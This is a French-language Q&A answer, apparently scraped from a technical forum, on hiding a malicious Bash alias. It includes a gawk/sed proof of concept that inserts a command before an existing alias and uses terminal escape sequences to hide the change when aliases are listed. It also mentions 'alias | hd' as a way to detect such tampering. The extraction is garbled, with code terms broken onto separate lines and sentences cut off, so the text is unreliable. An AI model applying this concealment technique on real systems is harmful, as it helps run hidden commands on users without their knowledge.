Est-il possible de dissimuler l'existence d'un alias malveillant dans Bash sur un système Linux et de le faire exécuter par l'utilisateur à son insu?
9
Il est possible de le faire en ajoutant l'alias existant à celui malveillant et en utilisant le mouvement du curseur pour le masquer si la alias
commande est utilisée pour afficher les définitions d'alias. Ce n'est pas une méthode parfaitement infaillible, mais elle pourrait passer inaperçue pendant un certain temps. Le alias
parcours hd
vous montrera s'il y a des séquences d'échappement (mouvement du curseur) dans vos alias. Voici une preuve de concept expliquant comment une commande malveillante pourrait être insérée dans un alias:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
commande modifie un fichier appelé "alias" en place - un vrai script de ce type irait à la gorge et modifierait un vrai fichier de script pour que l'alias malveillant soit activé la prochaine fois qu'il serait exécuté.hide
comme argument, il est donc concevable que vous puissiez obtenir une erreur similaire à celle rapportée dans cette question . Il peut être possible d'inverser les parties d'origine et malveillantes pour affecter cela, bien que cela interfère avec les arguments fournis à l'alias. Une tentative est faite dans le script ci-dessus pour marquer la fin des arguments avec --
.&&
, vous pouvez rediriger les unes vers les autres et faire fonctionner le script malveillant (représenté ci-dessus par la echo
commande simple ) comme un moyen stdin
de stdout
transmission soit pour modifier les données au fur et à mesure, soit pour masquer leur existence en n'interférant pas avec d'autres redirectionhide
chaîne peut être modifiée pour inclure différents mouvements du curseur et le texte de l'alias d'origine, de sorte que la alias
commande semble afficher l'alias non modifié au lieu de le masquer avec la partie malveillante.. aliases
. Ensuite, vous pouvez essayer d'utiliser l'alias affecté et voir à quoi il ressemble lorsque vous le faites alias|hd
.